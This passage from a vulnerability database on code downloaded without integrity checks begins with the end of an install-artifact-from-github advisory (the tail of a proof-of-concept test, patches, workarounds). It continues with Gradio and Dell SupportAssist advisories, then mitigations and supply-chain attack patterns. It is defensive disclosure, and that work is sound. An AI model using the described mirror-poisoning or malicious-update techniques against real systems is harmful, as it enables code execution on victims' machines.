console.log(\u0027\u2717 artifact not written (check IAFG_BIN path)\u0027);\n    }\n    fs.rmSync(work, { recursive: true, force: true });\n  });\n});\n```\n\n## Patches\n\nFixed in **1.7.0** via hash-bag verification. The consuming package publishes an `artifactHashes` map (`slot \u2192 sha256:\u003chex\u003e` of the decompressed binary) in its *own* `package.json` \u2014 immutable once on npm, stamped at publish time by the new `hash-github-cache --write` bin (e.g. wired as `prepublishOnly`). `install-from-cache` now verifies the decompressed download **before writing it to disk**; a hash mismatch or a missing slot rejects the download and falls back to building from source. Verification is scoped to the default `github.com` source \u2014 an explicitly configured mirror (`--host` / mirror env var) remains trust-the-mirror by design. Because the bytes are checked against the published bag, an on-path attacker or an `https\u2192http` transport downgrade on the default path is also defeated by content verification.\n\nNote: verification activates only when the consuming package ships an `artifactHashes` bag; packages without one behave as before (backward-compatible, zero-config default). `node-re2 \u003e= 1.26.0` publishes a stamped bag.\n\n## Workarounds\n\nOn `\u003c= 1.6.0`: skip downloading entirely and build from source via the documented dev short-circuit (`DEVELOPMENT_SKIP_GETTING_ASSET` env var, or a `.development` file). 1.7.0 adds first-class `--force-build` / `DOWNLOAD_FORCE_BUILD` for the same effect. In all versions, never point a mirror variable (e.g. `RE2_DOWNLOAD_MIRROR`) at a host you do not fully control.",
  "id": "GHSA-88q3-gch3-5396",
  "modified": "2026-11-18T21:17:37Z",
  "published": "2026-11-18T21:17:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/uhop/install-artifact-from-github/security/advisories/GHSA-88q3-gch3-5396"
    },
    {
      "type": "WEB",
      "url": "https://github.com/uhop/install-artifact-from-github/commit/1d2d8637556a03f6235e50fe0c238c6dce291633"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/uhop/install-artifact-from-github"
    },
    {
      "type": "WEB",
      "url": "https://github.com/uhop/install-artifact-from-github/releases/tag/1.7.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "install-artifact-from-github loads downloaded native artifacts without integrity verification"
}

GHSA-8C87-GVHJ-XM8M

Vulnerability from github – Published: 2024-10-10 22:02 – Updated: 2025-01-21 17:18
VLAI
Summary
Gradio lacks integrity checking on the downloaded FRP client
Details

Impact

This vulnerability is a lack of integrity check on the downloaded FRP client, which could potentially allow attackers to introduce malicious code. If an attacker gains access to the remote URL from which the FRP client is downloaded, they could modify the binary without detection, as the Gradio server does not verify the file's checksum or signature.

Who is impacted?
Any users utilizing the Gradio server's sharing mechanism that downloads the FRP client could be affected by this vulnerability, especially those relying on the executable binary for secure data tunneling.

Patches

Yes, please upgrade to gradio>=5.0, which includes a fix to verify the integrity of the downloaded binary.

Workarounds

There is no direct workaround for this issue without upgrading. However, users can manually validate the integrity of the downloaded FRP client by implementing checksum or signature verification in their own environment to ensure the binary hasn't been tampered with.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "gradio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-47867"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345",
      "CWE-494"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-10-10T22:02:52Z",
    "nvd_published_at": "2024-10-10T23:15:02Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nThis vulnerability is a **lack of integrity check** on the downloaded FRP client, which could potentially allow attackers to introduce malicious code. If an attacker gains access to the remote URL from which the FRP client is downloaded, they could modify the binary without detection, as the Gradio server does not verify the file\u0027s checksum or signature. \n\n**Who is impacted?**  \nAny users utilizing the Gradio server\u0027s sharing mechanism that downloads the FRP client could be affected by this vulnerability, especially those relying on the executable binary for secure data tunneling.\n\n### Patches\nYes, please upgrade to `gradio\u003e=5.0`, which includes a fix to verify the integrity of the downloaded binary.\n\n### Workarounds\nThere is no direct workaround for this issue without upgrading. However, users can manually validate the integrity of the downloaded FRP client by implementing checksum or signature verification in their own environment to ensure the binary hasn\u0027t been tampered with.",
  "id": "GHSA-8c87-gvhj-xm8m",
  "modified": "2025-01-21T17:18:32Z",
  "published": "2024-10-10T22:02:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gradio-app/gradio/security/advisories/GHSA-8c87-gvhj-xm8m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47867"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gradio-app/gradio"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/gradio/PYSEC-2024-216.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Gradio lacks integrity checking on the downloaded FRP client"
}

GHSA-8G39-44RH-G638

Vulnerability from github – Published: 2026-11-17 21:32 – Updated: 2026-11-17 21:32
VLAI
Details

Dell SupportAssist OS Recovery, versions prior to 5.5.16.3, contain a Download of Code Without Integrity Check vulnerability. A highly privileged attacker with local access could potentially exploit this vulnerability, leading to Code execution.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-82136"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-494"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-11-17T20:17:56Z",
    "severity": "MODERATE"
  },
  "details": "Dell SupportAssist OS Recovery, versions prior to 5.5.16.3, contain a Download of Code Without Integrity Check vulnerability. A highly privileged attacker with local access could potentially exploit this vulnerability, leading to Code execution.",
  "id": "GHSA-8g39-44rh-g638",
  "modified": "2026-11-17T21:32:05Z",
  "published": "2026-11-17T21:32:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-82136"
    },
    {
      "type": "WEB",
      "url": "https://www.dell.com/support/kbdoc/en-us/000511813/dsa-2026-426-security-update-for-dell-supportassist-os-recovery-for-multiple-vulnerabilities"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation MIT-42
Implementation

Perform proper forward and reverse DNS lookups to detect DNS spoofing.

Mitigation
Architecture and Design Operation
  • Encrypt the code with a reliable encryption scheme before transmitting.
  • This will only be a partial solution, since it will not detect DNS spoofing and it will not prevent your code from being modified on the hosting site.
Mitigation MIT-4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
  • Speficially, it may be helpful to use tools or frameworks to perform integrity checking on the transmitted code.
  • When providing the code that is to be downloaded, such as for automatic updates of the software, then use cryptographic signatures for the code and modify the download clients to verify the signatures. Ensure that the implementation does not contain CWE-295, CWE-320, CWE-347, and related weaknesses.
  • Use code signing technologies such as Authenticode. See references [REF-454] [REF-455] [REF-456].
Mitigation MIT-17
Architecture and Design Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Mitigation MIT-22
Architecture and Design Operation

Strategy: Sandbox or Jail

  • Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
  • OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
CAPEC-184: Software Integrity Attack

An attacker initiates a series of events designed to cause a user, program, server, or device to perform actions which undermine the integrity of software code, device data structures, or device firmware, achieving the modification of the target's integrity to achieve an insecure state.

CAPEC-185: Malicious Software Download

An attacker uses deceptive methods to cause a user or an automated process to download and install dangerous code that originates from an attacker controlled source. There are several variations to this strategy of attack.

CAPEC-186: Malicious Software Update

An adversary uses deceptive methods to cause a user or an automated process to download and install dangerous code believed to be a valid update that originates from an adversary controlled source.

CAPEC-187: Malicious Automated Software Update via Redirection

An attacker exploits two layers of weaknesses in server or client software for automated update mechanisms to undermine the integrity of the target code-base. The first weakness involves a failure to properly authenticate a server as a source of update or patch content. This type of weakness typically results from authentication mechanisms which can be defeated, allowing a hostile server to satisfy the criteria that establish a trust relationship. The second weakness is a systemic failure to validate the identity and integrity of code downloaded from a remote location, hence the inability to distinguish malicious code from a legitimate update.

CAPEC-533: Malicious Manual Software Update

An attacker introduces malicious code to the victim's system by altering the payload of a software update, allowing for additional compromise or site disruption at the victim location. These manual, or user-assisted attacks, vary from requiring the user to download and run an executable, to as streamlined as tricking the user to click a URL. Attacks which aim at penetrating a specific network infrastructure often rely upon secondary attack methods to achieve the desired impact. Spamming, for example, is a common method employed as an secondary attack vector. Thus the attacker has in their arsenal a choice of initial attack vectors ranging from traditional SMTP/POP/IMAP spamming and its varieties, to web-application mechanisms which commonly implement both chat and rich HTML messaging within the user interface.

CAPEC-538: Open-Source Library Manipulation

Adversaries implant malicious code in open source software (OSS) libraries to have it widely distributed, as OSS is commonly downloaded by developers and other users to incorporate into software development projects. The adversary can have a particular system in mind to target, or the implantation can be the first stage of follow-on attacks on many systems.

CAPEC-657: Malicious Automated Software Update via Spoofing

An attackers uses identify or content spoofing to trick a client into performing an automated software update from a malicious source. A malicious automated software update that leverages spoofing can include content or identity spoofing as well as protocol spoofing. Content or identity spoofing attacks can trigger updates in software by embedding scripted mechanisms within a malicious web page, which masquerades as a legitimate update source. Scripting mechanisms communicate with software components and trigger updates from locations specified by the attackers' server. The result is the client believing there is a legitimate software update available but instead downloading a malicious update from the attacker.

CAPEC-662: Adversary in the Browser (AiTB)

An adversary exploits security vulnerabilities or inherent functionalities of a web browser, in order to manipulate traffic between two endpoints.

CAPEC-691: Spoof Open-Source Software Metadata

An adversary spoofs open-source software metadata in an attempt to masquerade malicious software as popular, maintained, and trusted.

CAPEC-692: Spoof Version Control System Commit Metadata

An adversary spoofs metadata pertaining to a Version Control System (VCS) (e.g., Git) repository's commits to deceive users into believing that the maliciously provided software is frequently maintained and originates from a trusted source.

CAPEC-693: StarJacking

An adversary spoofs software popularity metadata to deceive users into believing that a maliciously provided package is widely used and originates from a trusted source.

CAPEC-695: Repo Jacking

An adversary takes advantage of the redirect property of directly linked Version Control System (VCS) repositories to trick users into incorporating malicious code into their applications.